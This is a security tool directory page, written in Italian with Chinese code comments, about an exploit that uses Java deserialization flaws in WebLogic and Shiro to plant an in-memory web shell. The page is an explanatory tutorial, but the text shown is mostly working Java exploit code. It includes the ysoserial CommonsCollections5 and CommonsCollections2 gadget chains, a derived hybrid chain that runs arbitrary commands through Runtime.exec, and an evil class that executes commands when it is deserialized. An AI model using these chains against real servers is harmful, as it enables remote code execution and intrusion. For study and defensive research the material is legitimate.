Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
WebLogic-Shiro-shell — Sfrutta CVE-2020-2883 su WebLogic per attaccare la vulnerabilità di deserializzazione Shiro rememberMe, registra con un clic la shell in memoria del filtro AntSword. | Kitploit
Strumenti/GitHubGitHub/y4er/weblogic-shiro-shell
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneSviluppo PayloadBinary Exploitation
GitHuby4er/weblogic-shiro-shell

WebLogic-Shiro-shell

Sfrutta CVE-2020-2883 su WebLogic per attaccare la vulnerabilità di deserializzazione Shiro rememberMe, registra con un clic la shell in memoria del filtro AntSword.

Vedi Repository
5316026 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Condivisione tecnica sulla deserializzazione Java

Questa condivisione riguarda i seguenti punti:

  1. Basi di serializzazione e deserializzazione Java
  2. Perché si verificano vulnerabilità durante la deserializzazione?
  3. Riflessione Java
  4. ysoserial CommonsCollections2、CommonsCollections5
  5. Diversi metodi di caricamento delle classi con Java ClassLoader
  6. WebLogic CVE-2020-2555 CVE-2020-2883 RCE
  7. Shiro-550 rememberMe codifica fissa che porta a RCE tramite deserializzazione
  8. WebLogic + Shiro deserializzazione per registrare un filter shell in memoria con un clic

Basi di serializzazione e deserializzazione Java

La serializzazione Java si riferisce al processo di conversione di un oggetto Java in una sequenza di byte per facilitare la memorizzazione in memoria, file o database. Il metodo writeObject() della classe ObjectOutputStream può realizzare la serializzazione, convertendo l'oggetto Java in una sequenza di byte.

La deserializzazione Java si riferisce al processo di ripristino di una sequenza di byte in un oggetto Java. Il metodo readObject() della classe ObjectInputStream viene utilizzato per la deserializzazione.

Facciamo un semplice esempio, vedere il codice SerializeAndDeserialize ps: qui concentrarsi sul tipo di cast forzato nel codice```java package org.chabug.demo;

import org.chabug.entity.Dog; import org.chabug.entity.Person; import org.chabug.util.Serializables;

/* 这个例子是为了证明只要实现了Serializable接口的类都可以被序列化 并且Java内置的几大数据类型也可被序列化,因为他们都继承了Object类 */

public class SerializeAndDeserialize {

root@kitploit:~
public static void main(String[] args) throws Exception {
    byte[] bytes;
    String s1 = "I'm a String Object....";
    bytes = Serializables.serializeToBytes(s1);
    Object o1 = Serializables.deserializeFromBytes(bytes);
    System.out.println(o1);

    String[] s2 = new String[]{"tom", "bob", "jack"};
    bytes = Serializables.serializeToBytes(s2);
    String[] o2 = (String[])Serializables.deserializeFromBytes(bytes);
    System.out.println(o2);

    int i = 123;
    bytes = Serializables.serializeToBytes(i);
    int o3 = (Integer) Serializables.deserializeFromBytes(bytes);
    System.out.println(o3);

    // 一只名叫woody的狗
    Dog dog = new Dog();
    dog.setName("woody");

    // tom
    Person tom = new Person();
    tom.setAge(14);
    tom.setName("tom");
    tom.setSex("男");
    tom.setDog(dog);

    bytes = Serializables.serializeToBytes(tom);
    Person o = (Person) Serializables.deserializeFromBytes(bytes);
    System.out.println(o);

}

}

root@kitploit:~
Tipi di dati incorporati in Java come String, Integer, array, Object ecc. possono essere serializzati. Le nostre classi Person e Dog, purché implementino l'interfaccia Serializable, possono essere serializzate e deserializzate.

## Perché ci sono vulnerabilità durante la deserializzazione?

Diamo un'occhiata a un pezzo di codice: ora c'è una classe entità maligna EvilClass```java
package org.chabug.entity;

import java.io.ObjectInputStream;
import java.io.Serializable;

public class EvilClass implements Serializable {
    String name;

    public EvilClass() {
        System.out.println(this.getClass() + "的EvilClass()构造方法被调用!!!!!!");
    }

    public EvilClass(String name) {
        System.out.println(this.getClass() + "的EvilClass(String name)构造方法被调用!!!!!!");
        this.name = name;
    }

    public String getName() {
        System.out.println(this.getClass() + "的getName被调用!!!!!!");
        return name;
    }

    public void setName(String name) {
        System.out.println(this.getClass() + "的setName被调用!!!!!!");
        this.name = name;
    }

    @Override
    public String toString() {
        System.out.println(this.getClass() + "的toString()被调用!!!!!!");
        return "EvilClass{" +
                "name='" + getName() + '\'' +
                '}';
    }

    private void readObject(ObjectInputStream in) throws Exception {
        //执行默认的readObject()方法
        in.defaultReadObject();
        System.out.println(this.getClass() + "readObject()被调用!!!!!!");
        Runtime.getRuntime().exec(new String[]{"cmd", "/c", name});
    }
}

Nel suo readObject c'è il codice per eseguire comandi Runtime.getRuntime().exec(new String[]{"cmd", "/c", name}), il parametro name è il comando da eseguire. Quindi possiamo costruire un oggetto malevolo, impostare la sua proprietà name con il comando da eseguire, e quando la deserializzazione attiva readObject, si verificherà RCE. Come segue.```java package org.chabug.demo;

import org.chabug.entity.EvilClass; import org.chabug.util.Serializables;

public class EvilSerialize { public static void main(String[] args) throws Exception { EvilClass evilObj = new EvilClass(); evilObj.setName("calc"); byte[] bytes = Serializables.serializeToBytes(evilObj); EvilClass o = (EvilClass) Serializables.deserializeFromBytes(bytes); System.out.println(o); } }

root@kitploit:~
![image-20200822105256120](https://assets.kitploit.com/production/public/readmes/21799/7f07c0c8196e56e1d554bce64f73f069bdd3e589a3302936c831903e5f7e5539.png)

Ora che sappiamo come la deserializzazione può portare a RCE, ma nello sviluppo non si può scrivere direttamente così, quindi entra in gioco la ricerca delle catene di utilizzo. Una vulnerabilità di deserializzazione necessita di tre elementi:

1. Punto di ingresso della deserializzazione (source)
2. Metodo target (sink)
3. Catena di gadget (gadget chain)

Osservando attentamente l'output nell'immagine sopra, non solo è stato attivato il metodo readObject, ma anche toString(), costruttore senza parametri, set, get. Quindi nella pratica, quando si cercano catene di utilizzo, non bisogna concentrarsi solo sui metodi readObject().

A questo punto dobbiamo capire cos'è la **riflessione**. Nell'esempio precedente abbiamo menzionato il problema del **casting forzato**. Nello sviluppo reale, all'interno di readObject si effettua un'elaborazione logica; quando non si conosce il tipo specifico dell'oggetto passato, si utilizza la riflessione per determinare la chiamata. E la riflessione è il nostro strumento principale per raggiungere RCE.

## Riflessione in Java

Cos'è la riflessione? "Riflessione" contiene il prefisso "ri-", quindi per spiegare la riflessione si parte dalla "riflessione diretta" (proiezione). Guardiamo il codice. Questa è la mia classe entità.```java
package org.chabug.entity;

import java.io.IOException;

public class ReflectionClass {
    String name;

    public ReflectionClass(String name) {
        this.name = name;
    }

    public ReflectionClass() {
    }

    public String say() {
        return this.name;
    }

    private void evil(String cmd) {
        try {
            Runtime.getRuntime().exec(new String[]{"cmd","/c",cmd});
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    @Override
    public String toString() {
        return "ReflectionClass{" +
                "name='" + name + '\'' +
                '}';
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }
}

Scrittura normale```java package org.chabug.demo;

import org.chabug.entity.ReflectionClass;

public class ReflectionDemo { public static void main(String[] args) { ReflectionClass demo = new ReflectionClass(); demo.setName("hello"); System.out.println(demo.say()); // demo.evil("calc"); // 不能够调用private方法 } }

root@kitploit:~
很简单就是通过new创建了一个ReflectionClass实例,然后通过实例去调用其所属方法,这就是"正射"。但是当你new的时候不知道类名怎么办?受private保护的方法怎么调用?反射的作用就体现出来了。看下面这一段代码```java
package org.chabug.demo;

import org.chabug.entity.ReflectionClass;

import java.lang.reflect.Method;

public class ReflectionDemo {
    public static void main(String[] args) throws Exception {
        // new
        Class<?> aClass = Class.forName("org.chabug.entity.ReflectionClass");
        Object o = aClass.newInstance();

        // setName("jack")
        Method setName = aClass.getDeclaredMethod("setName",String.class);
        setName.invoke(o, "jack");

        // say()
        Method say = aClass.getDeclaredMethod("say",null);
        Object o1 = say.invoke(o, null);
        System.out.println(o1);

        // evil("calc")
        // 反射可以修改方法的修饰符来调用private方法
        Method evil = aClass.getDeclaredMethod("evil", String.class);
        evil.setAccessible(true);
        evil.invoke(o,"calc");
    }
}

Non è necessario conoscere in anticipo il nome della classe; è sufficiente modificare la classe org.chabug.entity.ReflectionClass e passarla come parametro, e tramite setAccessible si possono ottenere metodi o campi protetti da accesso privato.

Ora, partendo dalla vulnerabilità, approfondiamo il ruolo della riflessione nella deserializzazione e l'analisi delle catene di chiamate di deserializzazione.

ysoserial CommonsCollections2、CommonsCollections5

ysoserial è uno strumento per generare exploit di deserializzazione Java, che include alcuni exploit noti, come le catene di sfruttamento di CommonsCollections. Questa volta analizzeremo le due catene CC2 e CC5. Il motivo per cui analizziamo queste due è che in CC2 viene utilizzata un'operazione di definizione di bytecode, mentre in CC5 si vuole approfondire la comprensione della riflessione e delle chiamate a catena.

CommonsCollections5

La vulnerabilità si trova in `org.apache.commons.collections.functors.InvokerTransformer#transform````java public Object transform(Object input) { if (input == null) { return null; } else { try { Class cls = input.getClass(); Method method = cls.getMethod(this.iMethodName, this.iParamTypes); return method.invoke(input, this.iArgs); } catch (NoSuchMethodException var5) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist"); } catch (IllegalAccessException var6) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); } catch (InvocationTargetException var7) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7); } } }

root@kitploit:~
Confrontando il codice del capitolo sulla riflessione, si può vedere che questo è un uso molto evidente della riflessione. Per spiegarlo con il codice di proiezione diretta, sarebbe:```java
input.iMethodName(iArgs);

this.iMethodName, this.iParamTypes, this.iArgs sono tutti controllabili nel metodo costruttore. Da ciò è possibile invocare qualsiasi metodo dell'oggetto input, passando parametri arbitrari.```java public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { this.iMethodName = methodName; this.iParamTypes = paramTypes; this.iArgs = args; }

root@kitploit:~
Quindi, per iniziare, ecco un codice per eseguire comandi.```java
package org.chabug.demo;

import org.apache.commons.collections.functors.InvokerTransformer;

public class CC5 {
    public static void main(String[] args) throws Exception {
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        invokerTransformer.transform(Runtime.getRuntime());
    }
}

Poiché la classe Runtime è un singleton, è necessario ottenere l'oggetto runtime Runtime tramite getRuntime(), e dopo averlo passato a transform() viene visualizzata la calcolatrice.

image-20200822135700699

Ma sappiamo che durante la deserializzazione viene eseguito automaticamente solo readObject(). Se in questo momento si costruisce direttamente un oggetto InvokerTransformer, è ancora necessario risolvere due problemi:

  1. Eseguire automaticamente Runtime.getRuntime()
  2. Eseguire automaticamente invokerTransformer.transform()

Per prima cosa risolviamo il primo problema: in org.apache.commons.collections.functors.ChainedTransformer#transform è possibile implementare chiamate a catena.```java public Object transform(Object object) { for(int i = 0; i < this.iTransformers.length; ++i) { object = this.iTransformers[i].transform(object); } return object; }

root@kitploit:~
la definizione di this.iTransformers è un array di Transformer```java
private final Transformer[] iTransformers;

Transformer è un'interfaccia, e InvokerTransformer implementa anche questa interfaccia.

image-20200822140627663

Secondo il principio della conversione implicita dei tipi in Java, possiamo definire un array di Transformer contenente più InvokerTransformer per realizzare chiamate di riflessione multiple e ottenere Runtime.getRuntime().exec()```java package org.chabug.demo;

import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer;

public class CC5 { public static void main(String[] args) throws Exception { // ((Runtime) Runtime.class.getMethod("getRuntime").invoke(null)).exec("calc"); Transformer[] transformers = new Transformer[]{ // 传入Runtime类 new ConstantTransformer(Runtime.class), // 使用Runtime.class.getMethod()反射调用Runtime.getRuntime() new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), // invoke()调用Runtime.class.getMethod("getRuntime").invoke(null) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), // 调用exec("calc") new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}) }; Transformer chain = new ChainedTransformer(transformers); chain.transform(null); } }

root@kitploit:~
Tra l'astuzia sta nel passare `Runtime.class` tramite il costruttore della classe `ConstantTransformer`, in modo da non doverlo passare noi stessi.

Ora dobbiamo risolvere il secondo problema: come attivare automaticamente `transform()`. È noto che `readObject()` viene eseguito durante la deserializzazione, quindi in quale classe il `readObject()` richiama direttamente o indirettamente `transform()`?

In `org.apache.commons.collections.map.LazyMap#get`, viene richiamato `transform()`.```java
public Object get(Object key) {
    if (!super.map.containsKey(key)) {
        Object value = this.factory.transform(key);
        super.map.put(key, value);
        return value;
    } else {
        return super.map.get(key);
    }
}

Guarda il costruttore di questa classe e il campo factory```java protected final Transformer factory;

public static Map decorate(Map map, Transformer factory) { return new LazyMap(map, factory); }

root@kitploit:~
Il campo factory è dichiarato final e protected, ma ha un metodo pubblico decorate() per generare oggetti di quella classe, quindi si può costruire come segue```java
HashMap hashMap = new HashMap();
Map map = LazyMap.decorate(hashMap, chain);
map.get("test");	//执行这个就会弹出计算器  map.get() > transform()

In questo momento si sta cercando dove viene chiamato il metodo get() della mappa org.apache.commons.collections.keyvalue.TiedMapEntry#getValue```java private final Map map; private final Object key;

public TiedMapEntry(Map map, Object key) { this.map = map; this.key = key; } public Object getKey() { return this.key; } public Object getValue() { return this.map.get(this.key); } public String toString() { return this.getKey() + "=" + this.getValue(); }

root@kitploit:~
getValue() chiama proprio map.get(), anche this.key è controllabile. E toString() chiama this.getValue(). Ora continuiamo a costruire.```java
HashMap hashMap = new HashMap();
Map map = LazyMap.decorate(hashMap, chain);
// map.get("test");
TiedMapEntry key = new TiedMapEntry(map, "key");
key.toString();	// toString > getValue() > map.get()

Ora il problema è come far sì che readObject attivi automaticamente toString(), è semplice: nella classe integrata di jdk esiste la classe di eccezione BadAttributeValueExpException, il cui readObject() esegue toString().```java public BadAttributeValueExpException (Object val) { this.val = val == null ? null : val.toString(); } public String toString() { return "BadAttributeValueException: " + val; }

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { ObjectInputStream.GetField gf = ois.readFields(); Object valObj = gf.get("val", null);

root@kitploit:~
if (valObj == null) {
    val = null;
} else if (valObj instanceof String) {
    val= valObj;
} else if (System.getSecurityManager() == null
           || valObj instanceof Long
           || valObj instanceof Integer
           || valObj instanceof Float
           || valObj instanceof Double
           || valObj instanceof Byte
           || valObj instanceof Short
           || valObj instanceof Boolean) {
    val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
    val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}

}

root@kitploit:~
Poiché System.getSecurityManager() è null per impostazione predefinita, viene attivato val = valObj.toString(), si entra in TiedMapEntry.toString(), il payload finale```java
package org.chabug.demo;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.chabug.util.Serializables;

import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC5 {
    public static void main(String[] args) throws Exception {
//        ((Runtime) Runtime.class.getMethod("getRuntime").invoke(null)).exec("calc");
        Transformer[] transformers = new Transformer[]{
                // 传入Runtime类
                new ConstantTransformer(Runtime.class),
                // 使用Runtime.class.getMethod()反射调用Runtime.getRuntime()
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                // invoke()调用Runtime.class.getMethod("getRuntime").invoke(null)
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                // 调用exec("calc")
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})
        };
        Transformer chain = new ChainedTransformer(transformers);
//        chain.transform(null);
        HashMap hashMap = new HashMap();
        Map map = LazyMap.decorate(hashMap, chain);
//        map.get("asd");
        TiedMapEntry key = new TiedMapEntry(map, "key");
//        key.toString();

        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
        field.setAccessible(true);
        field.set(badAttributeValueExpException, key);


        byte[] bytes = Serializables.serializeToBytes(badAttributeValueExpException);
        Serializables.deserializeFromBytes(bytes);
    }
}

image-20200822144101188

Da notare che, quando si dichiara l'oggetto BadAttributeValueExpException, il parametro entry non viene passato direttamente, ma viene assegnato tramite reflection. Poiché il costruttore di BadAttributeValueExpException controlla se è nullo, se non è nullo, durante la serializzazione verrà eseguito toString(), quindi durante la deserializzazione, poiché l'entry è già una stringa, il metodo toString non verrà attivato.

Riepilogo: utilizzo flessibile della reflection con chiamate a catena, quindi ricerca di un gadget per ottenere RCE.```java /* Gadget chain: ObjectInputStream.readObject() BadAttributeValueExpException.readObject() TiedMapEntry.toString() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec() Requires: commons-collections */

root@kitploit:~
### CommonsCollections2

Prima di introdurre CommonsCollections2, è necessario comprendere il bytecode Java. In Java, tutto il codice Java deve essere compilato in file di bytecode .class per essere eseguito dalla JVM. Il bytecode è più simile a un linguaggio assembly, con scarsa leggibilità, ma esistono comunque molte eccellenti librerie per manipolare, modificare e editare il bytecode per realizzare la programmazione, come asm, cglib e javassist. Nello strumento ysoserial, viene utilizzata la libreria javassist. Diamo prima un'occhiata a come è scritto il payload di cc2 in ysoserial.```java
public Queue<Object> getObject(final String command) throws Exception {
    final Object templates = Gadgets.createTemplatesImpl(command);
    // mock method name until armed
    final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

    // create queue with numbers and basic comparator
    final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
    // stub data for replacement later
    queue.add(1);
    queue.add(1);

    // switch method called by comparator
    Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

    // switch contents of queue
    final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
    queueArray[0] = templates;
    queueArray[1] = 1;

    return queue;
}

Prima guarda nella prima riga Gadgets.createTemplatesImpl(command)```java public static Object createTemplatesImpl ( final String command ) throws Exception { if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) { return createTemplatesImpl( command, Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"), Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"), Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl")); }

root@kitploit:~
return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);

}

root@kitploit:~
Visto che è stata menzionata la classe org.apache.xalan.xsltc.trax.TemplatesImpl, diamo prima un'occhiata a due righe di codice.```java
package org.chabug.demo;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import ysoserial.payloads.util.Gadgets;

public class CC2 {
    public static void main(String[] args) throws Exception {
        TemplatesImpl object = (TemplatesImpl) Gadgets.createTemplatesImpl("calc");
        object.newTransformer();
    }
}

image-20200822152423212

Perché viene visualizzata la calcolatrice? Approfondisci createTemplatesImpl()```java public static Object createTemplatesImpl ( final String command ) throws Exception { if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) { return createTemplatesImpl( command, Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"), Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"), Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl")); }

root@kitploit:~
return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);

}

public static T createTemplatesImpl ( final String command, Class tplClass, Class abstTranslet, Class transFactory ) throws Exception { final T templates = tplClass.newInstance();

root@kitploit:~
// use template gadget class
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// run command in static initializer
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
    command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
    "\");";
clazz.makeClassInitializer().insertAfter(cmd);
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
clazz.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);

final byte[] classBytes = clazz.toBytecode();

// inject class bytes into instance
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
    classBytes, ClassFiles.classAsBytes(Foo.class)
});

// required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;

}

root@kitploit:~
Il codice sopra esegue le seguenti operazioni:

1. Istanzia un oggetto `org.apache.xalan.xsltc.trax.TemplatesImpl` chiamato templates, il cui campo `_bytecodes` può contenere bytecode.
2. Scrive una classe `StubTransletPayload` che estende `AbstractTranslet` e implementa l'interfaccia `Serializable`.
3. Ottiene il bytecode di `StubTransletPayload` e utilizza javassist per inserire il bytecode di un comando (Runtime.exec) nell'oggetto templates.
4. Imposta tramite reflection il campo `_bytecodes` di templates con il bytecode contenente l'esecuzione del comando.

In pratica, implementa una sottoclasse di `org.apache.xalan.xsltc.trax.TemplatesImpl` e inserisce nel suo campo `_bytecodes` il proprio bytecode malevolo. Esaminiamo `newTransformer()`.```java
public synchronized Transformer newTransformer()
    throws TransformerConfigurationException
{
    TransformerImpl transformer;

    transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
                                      _indentNumber, _tfactory);

    if (_uriResolver != null) {
        transformer.setURIResolver(_uriResolver);
    }

    if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
        transformer.setSecureProcessing(true);
    }
    return transformer;
}

verrà eseguito getTransletInstance(), segui```java private Translet getTransletInstance() throws TransformerConfigurationException { try { if (_name == null) return null;

root@kitploit:~
    if (_class == null) defineTransletClasses();

    // The translet needs to keep a reference to all its auxiliary
    // class to prevent the GC from collecting them
    AbstractTranslet translet = (AbstractTranslet)
        _class[_transletIndex].getConstructor().newInstance();
    translet.postInitialization();
    translet.setTemplates(this);
    translet.setOverrideDefaultParser(_overrideDefaultParser);
    translet.setAllowedProtocols(_accessExternalStylesheet);
    if (_auxClasses != null) {
        translet.setAuxiliaryClasses(_auxClasses);
    }

    return translet;
}
catch (InstantiationException | IllegalAccessException |
       NoSuchMethodException | InvocationTargetException e) {
    ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
    throw new TransformerConfigurationException(err.toString(), e);
}

}

root@kitploit:~
La riga seguente istanzia un oggetto della classe definita nel bytecode, e poiché nel blocco static della classe definita dal bytecode è presente Runtime.exec, ciò provoca una RCE.```java
AbstractTranslet translet = (AbstractTranslet)            _class[_transletIndex].getConstructor().newInstance();

Quindi è sufficiente trovare una classe che chiami template.newTransformer() nel metodo readObject(). Ovvero PriorityQueue nel payload.

PriorityQueue è una coda di priorità illimitata basata sulla priorità. Gli elementi della coda di priorità vengono ordinati secondo il loro ordine naturale o in base a un Comparator fornito al momento della costruzione della coda, a seconda del costruttore utilizzato.

Esaminiamo il suo `readObject()````java private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { // Read in size, and any hidden stuff s.defaultReadObject();

root@kitploit:~
// Read in (and discard) array length
s.readInt();

SharedSecrets.getJavaOISAccess().checkArray(s, Object[].class, size);
queue = new Object[size];

// Read in all elements.
for (int i = 0; i < size; i++)
    queue[i] = s.readObject();

// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();

}

root@kitploit:~
Poiché si tratta di una coda di priorità, esiste necessariamente un ordinamento. In heapify()```java
private void heapify() {
    for (int i = (size >>> 1) - 1; i >= 0; i--)
        siftDown(i, (E) queue[i]); // 进行排序
}
private void siftDown(int k, E x) {
    if (comparator != null) 
        siftDownUsingComparator(k, x); // 如果指定比较器就使用
    else
        siftDownComparable(k, x);  // 没指定就使用默认的自然比较器
}
private void siftDownUsingComparator(int k, E x) {
    int half = size >>> 1;
    while (k < half) {
        int child = (k << 1) + 1;
        Object c = queue[child];
        int right = child + 1;
        if (right < size &&
            comparator.compare((E) c, (E) queue[right]) > 0)
            c = queue[child = right];
        if (comparator.compare(x, (E) c) <= 0)
            break;
        queue[k] = c;
        k = child;
    }
    queue[k] = x;
}
private void siftDownComparable(int k, E x) {
    Comparable<? super E> key = (Comparable<? super E>)x;
    int half = size >>> 1;        // loop while a non-leaf
    while (k < half) {
        int child = (k << 1) + 1; // assume left child is least
        Object c = queue[child];
        int right = child + 1;
        if (right < size &&
            ((Comparable<? super E>) c).compareTo((E) queue[right]) > 0)
            c = queue[child = right];
        if (key.compareTo((E) c) <= 0)
            break;
        queue[k] = c;
        k = child;
    }
    queue[k] = key;
}

comparator è un comparatore, quando viene specificato un comparator viene invocato comparator.compare((E) c, (E) queue[right]). comparator è un oggetto dell'interfaccia Comparator.```java private final Comparator<? super E> comparator;

root@kitploit:~
Esaminando la sua relazione di ereditarietà si scopre che la classe TransformingComparator nel pacchetto CC implementa l'interfaccia Comparator

![image-20200822155342130](https://assets.kitploit.com/production/public/readmes/21799/8efbc6595d2b8d6f314f557bbc3763d8d3d082872989758404641a4e58701b20.png)

Il metodo compare() di TransformingComparator```java
public int compare(I obj1, I obj2) {
    O value1 = this.transformer.transform(obj1);
    O value2 = this.transformer.transform(obj2);
    return this.decorated.compare(value1, value2);
}

Ehi, non è proprio la precedente chiamata riflessa del metodo transform arbitrario? this.transformer contiene la classe InvokerTransformer, chiamare newTransformer() per riflessione porta direttamente a RCE. Costruisci il payload.```java public Queue getObject(final String command) throws Exception { final Object templates = Gadgets.createTemplatesImpl(command); // mock method name until armed final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

root@kitploit:~
// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
// stub data for replacement later
queue.add(1);
queue.add(1);

// switch method called by comparator
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

// switch contents of queue
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = 1;

return queue;

}

root@kitploit:~
Il punto di perplessità dovrebbe essere in `new InvokerTransformer("toString", new Class[0], new Object[0])`, perché qui si usa prima toString e poi si riflette per modificarlo in newTransformer? Perché se si usasse direttamente newTransformer durante la serializzazione si otterrebbe l'errore `The method 'newTransformer' on 'class java.lang.Integer' does not exist`, quindi ysoserial ha adottato l'astuzia di usare prima toString per convertire in stringa e confrontare con il numero 1, poi riflettere per modificarlo.

Sommario:```java
/*
    Gadget chain:
        ObjectInputStream.readObject()
            PriorityQueue.readObject()
                ...
                    TransformingComparator.compare()
                        InvokerTransformer.transform()
                            Method.invoke()
                                Runtime.exec()
 */

Derivazione di due catene

CC2 utilizza la classe TemplatesImpl per RCE tramite inizializzazione di bytecode malevolo, CC5 implementa RCE attraverso chiamate a catena passo-passo tramite reflection. Ma in realtà l'essenza è ancora reflection, modificando le due catene se ne può derivare un'altra.```java package org.chabug.demo;

import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.InvokerTransformer; import org.chabug.util.Serializables; import ysoserial.payloads.util.Reflections;

import java.lang.reflect.Field; import java.util.PriorityQueue;

public class MyCC { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ // 使用Runtime.class.getMethod()反射调用Runtime.getRuntime() new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), // invoke()调用Runtime.class.getMethod("getRuntime").invoke(null) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), // 调用exec("calc") new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}) }; Transformer chain = new ChainedTransformer(transformers);

root@kitploit:~
    Class clazz = ChainedTransformer.class;
    Field iTransformers = clazz.getDeclaredField("iTransformers");
    iTransformers.setAccessible(true);

    Transformer[] transformers1 = new Transformer[]{
            new InvokerTransformer("toString", new Class[]{}, new Object[]{})
    };
    ChainedTransformer chain1 = new ChainedTransformer(transformers1);

    final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain1));
    queue.add("1");
    queue.add("1");
    iTransformers.set(chain1, transformers);

    final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
    queueArray[0] = Runtime.class;
    queueArray[1] = 1;


    byte[] bytes = Serializables.serializeToBytes(queue);
    Serializables.deserializeFromBytes(bytes);
}

}

root@kitploit:~
In pratica, si unisce la prima metà di CC5 con la seconda metà di CC2, utilizzando la chiamata a catena di CC5 per eseguire comandi e CC2 per attivare toString.

## Vari metodi di caricamento delle classi con Java ClassLoader

